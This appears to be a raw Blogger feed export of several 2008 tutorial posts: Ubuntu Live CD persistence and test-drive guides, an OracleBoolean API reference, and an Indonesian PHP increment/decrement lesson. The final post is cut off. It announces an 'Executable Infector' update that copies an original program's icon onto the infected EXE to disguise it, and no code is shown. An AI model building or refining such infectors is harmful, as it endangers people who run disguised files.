style="mso-yfti-irow:0;mso-yfti-firstrow:yes;mso-yfti-lastrow:yes"&gt;     &lt;td style="padding:.75pt .75pt .75pt .75pt"&gt;     &lt;table class="MsoNormalTable" border="0" cellspacing="0" cellpadding="0" width="100%" style="width:100.0%;mso-cellspacing:0cm;background:white;      mso-padding-alt:4.5pt 4.5pt 4.5pt 4.5pt"&gt;      &lt;tbody&gt;&lt;tr style="mso-yfti-irow:0;mso-yfti-firstrow:yes;mso-yfti-lastrow:yes"&gt;       &lt;td width="60" valign="top" style="width:45.0pt;padding:4.5pt 4.5pt 4.5pt 4.5pt"&gt;       &lt;p class="MsoNormal"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/p&gt;       &lt;/td&gt;       &lt;td valign="top" style="padding:4.5pt 4.5pt 4.5pt 4.5pt"&gt;       &lt;p class="doctext"&gt;If you are using a Mac, you need to hold down the C key       to boot from a CD.&lt;/p&gt;       &lt;/td&gt;      &lt;/tr&gt;     &lt;/tbody&gt;&lt;/table&gt;     &lt;p class="MsoNormal"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;     &lt;/td&gt;    &lt;/tr&gt;   &lt;/tbody&gt;&lt;/table&gt;   &lt;/div&gt;   &lt;p class="MsoNormal"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/p&gt;   &lt;p class="doctext"&gt;When the Live CD starts up, you will see a menu. Normally,   you would just press Enter to start the boot process, but instead, press F4   to access the Other Options menu that allows you to start up the Live CD in   special modes. You'll see a list of the arguments that will be passed to the   kernel on startup; just add a space and type &lt;tt&gt;&lt;span style="font-size:10.0pt"&gt;persistent&lt;/span&gt;&lt;/tt&gt;,   then hit Enter.&lt;/p&gt;   &lt;p class="doctext"&gt;That's it!&lt;/p&gt;   &lt;h4&gt;&lt;a name="ID-d260e2485-TestingPersistence338171"&gt;&lt;/a&gt;Testing Persistence&lt;/h4&gt;   &lt;p class="doctext"&gt;&lt;a name="ID-ID-d399e0-800424"&gt;&lt;/a&gt;The computer will now boot   from the Live CD in persistent mode, but you won't see anything different. In   fact, it can be quite hard to tell if it even worked or not. As a simple   test, you can try changing something obvious, such as your desktop picture,   and then you can log out and reboot the computer back into persistent mode.   If everything worked properly, your desktop picture will still be set as you   specified.&lt;/p&gt;   &lt;p class="doctext"&gt;Try changing other things on your system such as creating   documents or even installing extra software. Changes you make should be   preserved even after you reboot the system.&lt;/p&gt;   &lt;h4&gt;&lt;a name="ID-d260e2536-HowItWorks338177"&gt;&lt;/a&gt;How It Works&lt;/h4&gt;   &lt;p class="doctext"&gt;The Live CD is a read-only environment, so of course you   can't save changes made to the running system straight to the CD. However,   when running in persistent mode, the system on the Live CD allows items on   your memory stick to override items within the Live CD environment. In the   test described in this hack, you changed the desktop image; this caused   Ubuntu to save your new desktop picture and settings onto the &lt;span class="docemphasis"&gt;casper-cow&lt;/span&gt; device. The next time the Live CD sets   the desktop, it detects that a new setting has been stored on the device and   applies it instead of the default setting. The Live CD therefore provides the   basic data for a complete, functional environment, and any changes you make   to that environment are written to the removable device and used to override   the default settings.&lt;/p&gt;   &lt;/td&gt;  &lt;/tr&gt; &lt;/tbody&gt;&lt;/table&gt;  &lt;p class="MsoNormal"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/p&gt;  &lt;table class="MsoNormalTable" border="0" cellspacing="0" cellpadding="0" width="100%" style="width:100.0%;mso-cellspacing:0cm;mso-padding-alt:0cm 0cm 0cm 0cm"&gt;  &lt;tbody&gt;&lt;tr style="mso-yfti-irow:0;mso-yfti-firstrow:yes;mso-yfti-lastrow:yes"&gt;   &lt;td style="padding:0cm 0cm 0cm 0cm"&gt;   &lt;p class="MsoNormal"&gt;&lt;a href="mk:@MSITStore:E:\documentz\nY_nYubii\hek\Ubuntu%20Hacks%20Tips%20and%20Tools%20for%20Exploring,%20Using,%20and%20Tuning%20Linux\Ubuntu%20Hacks%20Tips%20and%20Tools%20for%20Exploring,%20Using,%20and%20Tuning%20Linux.chm::/0596527209/I-0596527209-CHP-1-SECT-2.html"&gt;&lt;span style="text-decoration:none;text-underline:none"&gt;&lt;!--[if gte vml 1]&gt;&lt;v:shape id="_x0000_i1026" type="#_x0000_t75" alt="Previous Page" style="'width:45pt;" button="t"&gt;&lt;![endif]--&gt;&lt;img border="0" width="60" height="17" src="file:///C:/DOCUME~1/hemlet/LOCALS~1/Temp/msohtml1/03/clip_image004.gif" alt="Previous Page" shapes="_x0000_i1026" /&gt;&lt;/span&gt;&lt;/a&gt;&lt;/p&gt;   &lt;/td&gt;   &lt;td style="padding:0cm 0cm 0cm 0cm"&gt;   &lt;p class="MsoNormal" align="right" style="text-align:right"&gt;&lt;a href="mk:@MSITStore:E:\documentz\nY_nYubii\hek\Ubuntu%20Hacks%20Tips%20and%20Tools%20for%20Exploring,%20Using,%20and%20Tuning%20Linux\Ubuntu%20Hacks%20Tips%20and%20Tools%20for%20Exploring,%20Using,%20and%20Tuning%20Linux.chm::/0596527209/I-0596527209-CHP-1-SECT-4.html"&gt;&lt;span style="text-decoration:none;text-underline:none"&gt;&lt;!--[if gte vml 1]&gt;&lt;v:shape id="_x0000_i1027" type="#_x0000_t75" alt="Next Page" style="'width:45pt;" button="t"&gt;&lt;![endif]--&gt;&lt;img border="0" width="60" height="17" src="file:///C:/DOCUME~1/hemlet/LOCALS~1/Temp/msohtml1/03/clip_image004.gif" alt="Next Page" shapes="_x0000_i1027" /&gt;&lt;/span&gt;&lt;/a&gt;&lt;/p&gt;   &lt;/td&gt;  &lt;/tr&gt; &lt;/tbody&gt;&lt;/table&gt;  &lt;p class="MsoNormal"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/p&gt;&lt;script type="text/javascript" src="http://pagead2.googlesyndication.com/pagead/show_ads.js"&gt;&lt;br /&gt;&lt;/script&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4701803441346095986-8722335993603589692?l=tutorial-hemlet.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4701803441346095986/posts/default/8722335993603589692'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4701803441346095986/posts/default/8722335993603589692'/><link rel='alternate' type='text/html' href='http://tutorial-hemlet.blogspot.com/2008/09/make-live-cd-data-persistent.html' title='Make Live CD Data Persistent'/><author><name>hemlet</name><uri>http://www.blogger.com/profile/02033149918343548108</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-4701803441346095986.post-7961507525770566168</id><published>2008-09-08T22:21:00.004+07:00</published><updated>2008-09-29T01:44:29.552+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Ubuntu'/><title type='text'>Test - Drive Ubuntu</title><content type='html'>Use the Ubuntu Live CD to get to know Linux before installing it on your system. This is simply the fastest and safest way to try out Linux. &lt;br /&gt;Though Linux on the desktop looks and behaves a lot like Windows, the simple fact is it isn't. Your favorite Windows programs probably won't run in Linux, it may be difficult to migrate data from your Windows install [Hack #7], and the years you've spent getting used to how Windows does things will prove mostly useless when it comes to understanding how Linux works. With all of this in mind, wouldn't it be great if you could try out Linux without spending hours or days getting it installed and configured on your system? Well, you can. With the Ubuntu Live CD, you can take Linux for a test-drive to be certain you really want to commit the time and resources to running it full-time. This hack shows you how to download the Ubuntu Live CD and boot your system using it. Other hacks in the book show you how to get around in GNOME [Hack #15] or KDE [Hack #16], the two popular graphical environments that run on top of Linux&lt;span class="fullpost"&gt;Downloading the Live CD&lt;br /&gt;A live CD is a complete installation of Linux that runs entirely from CD. While you are using a live CD, nothing is written to your hard drive, so your Windows or Mac OS installation is not affected in any way. However, because you're running from a CD, you're limited to using only the programs that are installed on the CD, and everything will run a bit slower because CD access is much slower than that of a hard drive. Still, even with these limitations, it's undeniable that a live CD is the easiest way to try out Ubuntu.&lt;br /&gt;You can obtain the Ubuntu Live CD from the main Ubuntu web site (http://www.ubuntulinux.org). There is a convenient Download link that takes you right to the download page to get the latest released version of Ubuntu. This hack, indeed this entire book, was written for the Dapper Drake releaseversion 6.06, LTSbecause it is the release that will be supported for the next five years (previous Ubuntu releases were supported for only 12 months). Ubuntu versions are numbered according to the year and month of release; therefore, this version of Dapper Drake was released in June 2006. Regardless of which version you download, the hacks in this book should be valid for a long time to come.&lt;br /&gt; LTS stands for Long Term Support, which indicates that this release of Ubuntu is supported for three years on the desktop, and five years on the server.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;The file you want to download is the ISO image that corresponds to the computer type you are using. If you're on a PC, this probably means the x86 version, but if you happen to be using a 64-bit AMD or Intel processor, you want to download the 64-bit PC version. Finally, if you're a Mac user, you want to get the PowerPC version. It is unknown at the time of this writing if Ubuntu will support the new Macintoshes with Intel processors.&lt;br /&gt;You can burn the ISO image to disc using any CD-burning software you have installed on your computer. Make sure you choose the option that burns the image to disc; don't select the option to burn a data CD that will just copy the image over as a file. The difference is that the former will create a bootable disc, and the latter will not.&lt;br /&gt;Booting the CD&lt;br /&gt;To use a live CD, you typically need do nothing more than boot your computer with the CD already in the optical drive. Most Windows computers these days are preconfigured to boot from a CD or DVD before booting from the hard drive. We fancy this is because users often need to restore or repair their Windows installation using the OEM-provided restore CD, and this configuration saves a lot of calls to technical support.&lt;br /&gt; If you are using a Mac, you need to hold down the C key to boot from a CD.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;But, if for some reason your Windows computer doesn't want to boot from the CD, the fix is usually quite simple. You need to boot into your computer's BIOS and modify the setting that specifies the boot order. Getting into the BIOS usually requires you to press a key early on in the boot sequence. The key you press depends on the make of your computer and BIOS, but it is typically displayed on the splash screen that comes up when your computer starts (the one that announces the manufacturer of the computer, not the Windows splash screen). If your splash screen doesn't tell you this information, try one of these keys: Esc, Del, F2, F10, or F12.&lt;br /&gt; On some computers, F12 launches you directly into a boot selection menu, offering options such as booting from hard disk, floppy drive, USB drive, optical drive, or the network. This lets you boot from a different device without making changes to your BIOS configuration.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Once you're in the BIOS, you should look for a menu called Boot or one labeled Advanced Configuration. Under this menu, you should see a setting that allows you to specify that the CD or optical drive boot before the hard disk. There are hundreds of BIOS variants, so we can't be more specific than that, but if you look at every option screen, you will eventually see the setting you need to change as well as instructions for how to do so. Once you've made the change, save it, and then reboot your computer.&lt;br /&gt;Hopefully, this will be the only problem you have booting from the Live CD. If you've configured the BIOS correctly, shortly after boot you should see a splash screen with the following options:&lt;br /&gt;&lt;br /&gt;Run preinstalled live system&lt;br /&gt;This option loads the Live CD environment so you can test-drive Ubuntu. If you don't press any keys within 30 seconds of getting to this screen, this option will automatically execute.&lt;br /&gt;&lt;br /&gt;Rescue a broken system&lt;br /&gt;Choose this option to load a minimal Linux enviroment that you can use to troubleshoot a nonworking Linux installation.&lt;br /&gt;&lt;br /&gt;Memory test&lt;br /&gt;You can use this option to run a test of your computer's RAM. Many people don't realize it, but many odd computer problems can be traced to bad RAM modules. If your computer exhibits erratic behavior, such as frequent freezes or an inability to consistently finish booting, your RAM may be the culprit, and running this program may save you hours of frustration.&lt;br /&gt;&lt;br /&gt;Boot from the first hard disk&lt;br /&gt;Select this option to continue booting from the hard drive.&lt;br /&gt;Unless you're troubleshooting, about the only other option of interest right now is pressing F2 to select a language. This setting determines the language and keyboard layout that will be used for the rest of the test-drive; the default is English.&lt;br /&gt;Once you've made any necessary language selections, you should use the arrow keys to select "Run preinstalled live system," and press Enter. This begins the loading of Ubuntu. You'll see a lot of messages flash by on the screen and eventually be faced with a text dialog to configure your screen resolution. You can use the Tab and arrow keys to move the selection cursor, the spacebar to toggle a selection, and Enter to accept your input and move on to the next screen. You can select multiple entries, depending on what your monitor supports. Ubuntu will use the highest selected and supported resolution as the default.&lt;br /&gt;After this, Ubuntu continues to load, and, if all goes well, you'll automatically be logged in to a GNOME desktop less than a minute later. Depending on your hardware (network, sound, printer, etc.), you may find everything preconfigured and working. If you don't, some of the hardware-configuration hacks later in this book may be useful even in the Live CD environment.&lt;br /&gt;Another Use for the Live CD&lt;br /&gt;The Ubuntu Live CD also includes Windows versions of several open source programs. To access these program installers from within Windows, just insert the live CD while logged in. Within a few seconds, the autoload feature of Windows should display a window that lets you launch each installer. If this doesn't happen, you can just open Windows Explorer, navigate to the CD, and use the installers found in the program directory. The programs on the CD are:&lt;br /&gt;&lt;br /&gt;OpenOffice.org 2.0&lt;br /&gt;This is a free office suite that includes a word processor, spreadsheet, database, drawing program, and web page creator. OpenOffice.org (the .org is really a part of its name, but you can abbreviate it to OOo) can open and save to Microsoft Office formats, which means you may be able to use it in place of that office suite, or at the very least collaborate with others who do. You can learn more about OOo at the OpenOffice.org web site (http://www.openoffice.org).&lt;br /&gt;&lt;br /&gt;Mozilla Firefox 1.5&lt;br /&gt;Firefox is a web-browsing alternative to Microsoft's Internet Explorer. This secure and feature-rich web browser took the computer world by storm in 2005 and became the first browser to gain market share against IE since the mid-90s. To learn more about Firefox, visit the Mozilla web site (http://www.mozilla.org). Pay particular attention to the information about tabs and extensions, two features that can dramatically enhance your browsing experience.&lt;br /&gt;&lt;br /&gt;Gaim 1.5.0&lt;br /&gt;Gaim is a multiprotocol instant-messenger program. This means it can connect to multiple networks, such as AOL, MSN, Jabber, and Yahoo! all at the same time, making it easy for you to stay connected to your friends without having to run a separate chat client for each network.&lt;br /&gt;Each of these programs is also part of the Ubuntu Live CD experience, so you can try them out before installing them to Windows. If you like the Live CD so much that you want to keep using it, be sure to check out "Make Live CD Data Persistent" [Hack #3]&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4701803441346095986-7961507525770566168?l=tutorial-hemlet.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4701803441346095986/posts/default/7961507525770566168'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4701803441346095986/posts/default/7961507525770566168'/><link rel='alternate' type='text/html' href='http://tutorial-hemlet.blogspot.com/2008/09/test-drive-ubuntu.html' title='Test - Drive Ubuntu'/><author><name>hemlet</name><uri>http://www.blogger.com/profile/02033149918343548108</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-4701803441346095986.post-7401852000676699340</id><published>2008-07-11T03:44:00.001+07:00</published><updated>2008-07-11T03:48:48.018+07:00</updated><title type='text'>OracleBoolean.</title><content type='html'>&lt;script type="text/javascript"&gt;&lt;!-- google_ad_client = "pub-2299833243847736"; /* 468x60, dibuat 08/05/17 */ google_ad_slot = "8195043962"; google_ad_width = 468; google_ad_height = 60; //--&gt;&lt;br /&gt;&lt;/script&gt;  &lt;p&gt;Performs a NOT operation on an OracleBoolean.&lt;/p&gt;  &lt;pre&gt;&lt;span class="lang"&gt;[&lt;a href="http://sources-code-hemlet.blogspot.com"&gt;Visual Basic&lt;/a&gt;]&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/pre&gt;&lt;pre&gt;&lt;i&gt;returnValue&lt;/i&gt;&lt;b&gt; = OracleBoolean.op_LogicalNot(&lt;/b&gt;&lt;i&gt;x&lt;/i&gt;&lt;b&gt;)&lt;/b&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span class="lang"&gt;[C#]&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/pre&gt;&lt;pre&gt;&lt;b&gt;public static &lt;/b&gt;OracleBoolean&lt;b&gt; operator !(&lt;/b&gt;&lt;/pre&gt;&lt;pre&gt;&lt;b&gt;&lt;span style=""&gt;   &lt;/span&gt;&lt;/b&gt;OracleBoolean&lt;b&gt; &lt;/b&gt;&lt;i&gt;x&lt;/i&gt;&lt;/pre&gt;&lt;pre&gt;&lt;b&gt;);&lt;/b&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span class="lang"&gt;[C++]&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/pre&gt;&lt;pre&gt;&lt;b&gt;public: static &lt;/b&gt;OracleBoolean&lt;b&gt; op_LogicalNot(&lt;/b&gt;&lt;/pre&gt;&lt;pre&gt;&lt;b&gt;&lt;span style=""&gt;   &lt;/span&gt;&lt;/b&gt;OracleBoolean&lt;b&gt; &lt;/b&gt;&lt;i&gt;x&lt;/i&gt;&lt;/pre&gt;&lt;pre&gt;&lt;b&gt;);&lt;o:p&gt;&lt;/o:p&gt;&lt;/b&gt;&lt;/pre&gt;&lt;pre&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span class="lang"&gt;[JScript]&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/pre&gt;&lt;pre&gt;&lt;i&gt;returnValue&lt;/i&gt;&lt;b&gt; = !&lt;/b&gt;&lt;i&gt;x&lt;/i&gt;&lt;b&gt;;&lt;/b&gt;&lt;/pre&gt;  &lt;p&gt;&lt;span class="lang"&gt;[&lt;/span&gt;&lt;span class="lang"&gt;&lt;span class="lang"&gt;&lt;a href="http://sources-code-hemlet.blogspot.com/"&gt;Visual Basic&lt;/a&gt;&lt;/span&gt;]&lt;/span&gt; In &lt;span&gt;&lt;span class="lang"&gt;&lt;a href="http://sources-code-hemlet.blogspot.com/"&gt;Visual Basic&lt;/a&gt;&lt;/span&gt;&lt;/span&gt;, you can use the operators defined by a type, but you cannot define&lt;/p&gt;&lt;p&gt; your own.&lt;/p&gt;  &lt;p&gt;&lt;span class="lang"&gt;[JScript]&lt;/span&gt; In JScript, you can use the operators defined by a type, but you cannot define your own.&lt;/p&gt;  &lt;h4&gt;Arguments &lt;span class="lang"&gt;[&lt;/span&gt;&lt;span&gt;&lt;span class="lang"&gt;&lt;a href="http://sources-code-hemlet.blogspot.com/"&gt;Visual Basic&lt;/a&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="lang"&gt;, JScript]&lt;/span&gt; &lt;/h4&gt;  &lt;p class="MsoNormal"&gt;&lt;i&gt;x&lt;/i&gt; &lt;/p&gt;  &lt;p class="MsoNormal" style="margin-left: 36pt;"&gt;The &lt;b&gt;OracleBoolean&lt;/b&gt; on which the NOT operation will be performed. &lt;/p&gt;  &lt;h4&gt;Parameters &lt;span class="lang"&gt;[C#, C++]&lt;/span&gt; &lt;/h4&gt;  &lt;p class="MsoNormal"&gt;&lt;i&gt;x&lt;/i&gt; &lt;/p&gt;  &lt;p class="MsoNormal" style="margin-left: 36pt;"&gt;The &lt;b&gt;OracleBoolean&lt;/b&gt; on which the NOT operation will be performed. &lt;/p&gt;  &lt;h4&gt;Return Value&lt;/h4&gt;  &lt;p&gt;An &lt;b&gt;OracleBoolean&lt;/b&gt; with the Value True if argument was true, Null if argument was null, and False otherwise.&lt;/p&gt;  &lt;h4&gt;Requirements&lt;/h4&gt;  &lt;p&gt;&lt;b&gt;Platforms: &lt;/b&gt;Windows 98, Windows NT 4.0, Windows Millennium Edition, Windows 2000, Windows XP Home Edition, Windows XP Professional, Windows Server 2003 family&lt;/p&gt;  &lt;p&gt;&lt;b&gt;.NET Framework Security: &lt;/b&gt; &lt;/p&gt;  &lt;ul type="disc"&gt;&lt;li class="MsoNormal" style=""&gt;Full trust for the      immediate caller. This member cannot be used by partially trusted code.      For more information, &lt;a href="http://hemlet.co.cc"&gt;see&lt;/a&gt; &lt;/li&gt;&lt;/ul&gt;  &lt;script type="text/javascript" src="http://pagead2.googlesyndication.com/pagead/show_ads.js"&gt;&lt;br /&gt;&lt;/script&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4701803441346095986-7401852000676699340?l=tutorial-hemlet.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4701803441346095986/posts/default/7401852000676699340'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4701803441346095986/posts/default/7401852000676699340'/><link rel='alternate' type='text/html' href='http://tutorial-hemlet.blogspot.com/2008/07/oracleboolean.html' title='OracleBoolean.'/><author><name>hemlet</name><uri>http://www.blogger.com/profile/02033149918343548108</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-4701803441346095986.post-1597556531322653700</id><published>2008-06-27T00:16:00.001+07:00</published><updated>2008-06-27T00:18:18.337+07:00</updated><title type='text'>Operator Increment / Decrement</title><content type='html'>&lt;script type="text/javascript"&gt;&lt;!-- google_ad_client = "pub-2299833243847736"; /* 468x60, dibuat 08/05/17 */ google_ad_slot = "8195043962"; google_ad_width = 468; google_ad_height = 60; //--&gt;&lt;br /&gt;&lt;/script&gt;      &lt;p class="MsoNormal"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;span style="font-weight: bold;"&gt;Tutorial Code&lt;/span&gt; :&lt;br /&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style="margin-left: 18pt; text-indent: -18pt;"&gt;&lt;!--[if !supportLists]--&gt;&lt;span style=""&gt;1.&lt;span style="font-family: &amp;quot;Times New Roman&amp;quot;; font-style: normal; font-variant: normal; font-weight: normal; font-size: 7pt; line-height: normal; font-size-adjust: none; font-stretch: normal;"&gt;      &lt;/span&gt;&lt;/span&gt;&lt;!--[endif]--&gt;++$a&lt;span style=""&gt;          &lt;/span&gt;:&lt;span style=""&gt;           &lt;/span&gt;Pre Increment&lt;span style=""&gt;               &lt;/span&gt;: Tambah $a dengan 1 hasilnya masukkan ke&lt;span style=""&gt;                                         &lt;/span&gt;&lt;span style=""&gt;                              &lt;/span&gt;&lt;span style=""&gt;  &lt;/span&gt;dalam&lt;span style=""&gt; &lt;/span&gt;$a&lt;/p&gt;  &lt;p class="MsoNormal" style="margin-left: 18pt; text-indent: -18pt;"&gt;&lt;!--[if !supportLists]--&gt;&lt;span style=""&gt;2.&lt;span style="font-family: &amp;quot;Times New Roman&amp;quot;; font-style: normal; font-variant: normal; font-weight: normal; font-size: 7pt; line-height: normal; font-size-adjust: none; font-stretch: normal;"&gt;      &lt;/span&gt;&lt;/span&gt;&lt;!--[endif]--&gt;$a++&lt;span style=""&gt;          &lt;/span&gt;:&lt;span style=""&gt;           &lt;/span&gt;Post Increment&lt;span style=""&gt; &lt;/span&gt;: Berikan nilai $a, kemudian tambahkan 1&lt;span style=""&gt;                                                          &lt;/span&gt;&lt;span style=""&gt;                  &lt;/span&gt;&lt;span style=""&gt;  &lt;/span&gt;kepada $a&lt;/p&gt;  &lt;p class="MsoNormal" style="margin-left: 18pt; text-indent: -18pt;"&gt;&lt;!--[if !supportLists]--&gt;&lt;span style=""&gt;3.&lt;span style="font-family: &amp;quot;Times New Roman&amp;quot;; font-style: normal; font-variant: normal; font-weight: normal; font-size: 7pt; line-height: normal; font-size-adjust: none; font-stretch: normal;"&gt;      &lt;/span&gt;&lt;/span&gt;&lt;!--[endif]--&gt;--$a&lt;span style=""&gt;           &lt;/span&gt;:&lt;span style=""&gt;           &lt;/span&gt;Pre decrement&lt;span style=""&gt;              &lt;/span&gt;: Kurangkan $a dengan 1 hasilnya masukkan &lt;span style=""&gt;                                        &lt;/span&gt;&lt;span style=""&gt;                  &lt;/span&gt;&lt;span style=""&gt;  &lt;/span&gt;ke dalam $a&lt;/p&gt;  &lt;p class="MsoNormal" style="margin-left: 18pt; text-indent: -18pt;"&gt;&lt;!--[if !supportLists]--&gt;&lt;span style=""&gt;4.&lt;span style="font-family: &amp;quot;Times New Roman&amp;quot;; font-style: normal; font-variant: normal; font-weight: normal; font-size: 7pt; line-height: normal; font-size-adjust: none; font-stretch: normal;"&gt;      &lt;/span&gt;&lt;/span&gt;&lt;!--[endif]--&gt;$a--&lt;span style=""&gt;           &lt;/span&gt;:&lt;span style=""&gt;           &lt;/span&gt;Pos decrement&lt;span style=""&gt;              &lt;/span&gt;: Berikan nilai $a, kemudian kurangkan1 &lt;span style=""&gt;                                               &lt;/span&gt;&lt;span style=""&gt;                              &lt;/span&gt;&lt;span style=""&gt;  &lt;/span&gt;kepada $a.&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;PHP code :&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;? &lt;/p&gt;  &lt;p class="MsoNormal"&gt;echo "&lt;h3&gt;Post Increment and Decrement&lt;/h3&gt;";&lt;/p&gt;  &lt;p class="MsoNormal"&gt;$a = 5 ;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;echo&lt;span style=""&gt;  &lt;/span&gt;"\$a = $a "." &lt;br /&gt;";&lt;/p&gt;  &lt;p class="MsoNormal"&gt;echo&lt;span style=""&gt;  &lt;/span&gt;"Dengan \$a++ tetap 5; " . $a++ . "&lt;br /&gt;\n";&lt;/p&gt;  &lt;p class="MsoNormal"&gt;echo "next jadi 6 : " . $a . "&lt;br /&gt;\n";&lt;/p&gt;  &lt;p class="MsoNormal"&gt;echo "&lt;h3&gt;Postdecrement&lt;/h3&gt;";&lt;/p&gt;  &lt;p class="MsoNormal"&gt;$a = 5;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;echo "\$a = $a " . " &lt;br /&gt;";&lt;/p&gt;  &lt;p class="MsoNormal"&gt;echo "Dengan ++\$a menjadi 6 : " . ++$a . "&lt;br /&gt;/n";&lt;/p&gt;  &lt;p class="MsoNormal"&gt;echo "Tetap 6: " . $a . "&lt;br /&gt;\n";&lt;/p&gt;  &lt;p class="MsoNormal"&gt;echo "&lt;h3&gt;PostDecrement&lt;/h3&gt;";&lt;/p&gt;  &lt;p class="MsoNormal"&gt;$a = 5;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;echo "\$a = $a "." &lt;br /&gt;";&lt;/p&gt;  &lt;p class="MsoNormal"&gt;echo "Dengan \$a-- tetap 5: " . $a-- . "&lt;br /&gt;\n";&lt;/p&gt;  &lt;p class="MsoNormal"&gt;echo "kemudian menjadi 4 : " . $a . " &lt;br /&gt;\n";&lt;/p&gt;  &lt;p class="MsoNormal"&gt;echo "&lt;h3&gt;Predecrement&lt;/h3&gt;";&lt;/p&gt;  &lt;p class="MsoNormal"&gt;$a = 5;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;echo "\$a = $a "."&lt;br /&gt;";&lt;/p&gt;  &lt;p class="MsoNormal"&gt;echo "Dengan --\$a Menjadi 4: " . --$a . "&lt;br /&gt;\n";&lt;/p&gt;  &lt;p class="MsoNormal"&gt;echo "Kemudian tetap 4: " .$a . "&lt;br /&gt;\n";&lt;/p&gt;  &lt;p class="MsoNormal"&gt;?&gt;&lt;span style=""&gt;        &lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/p&gt;  &lt;script type="text/javascript" src="http://pagead2.googlesyndication.com/pagead/show_ads.js"&gt;&lt;br /&gt;&lt;/script&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4701803441346095986-1597556531322653700?l=tutorial-hemlet.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4701803441346095986/posts/default/1597556531322653700'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4701803441346095986/posts/default/1597556531322653700'/><link rel='alternate' type='text/html' href='http://tutorial-hemlet.blogspot.com/2008/06/operator-increment-decrement.html' title='Operator Increment / Decrement'/><author><name>hemlet</name><uri>http://www.blogger.com/profile/02033149918343548108</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-4701803441346095986.post-3670216353874506465</id><published>2008-06-19T21:36:00.002+07:00</published><updated>2008-06-19T21:38:05.564+07:00</updated><title type='text'>EXE Friends</title><content type='html'>&lt;script type="text/javascript"&gt;E&lt;!-- google_ad_client = "pub-2299833243847736"; /* 468x60, dibuat 08/05/17 */ google_ad_slot = "8195043962"; google_ad_width = 468; google_ad_height = 60; //--&gt;&lt;br /&gt;&lt;/script&gt;  &lt;p class="MsoNormal" style="text-align: center;" align="center"&gt;&lt;b style=""&gt;&lt;span style=";font-size:14;color:black;"  &gt;Executable Infector&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/b&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;b style=""&gt;&lt;span style="color:black;"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/span&gt;&lt;/b&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;b style=""&gt;&lt;span style="color:black;"&gt;This is the only one of its kind..&lt;br /&gt;But there is a new Update i made for the previous method.&lt;br /&gt;now you can easily extract (an) icon of the original EXE and save it to the Infected EXE&lt;br /&gt;note that if The Original EXE has more than one Icon .. we can't specify The main icon in this 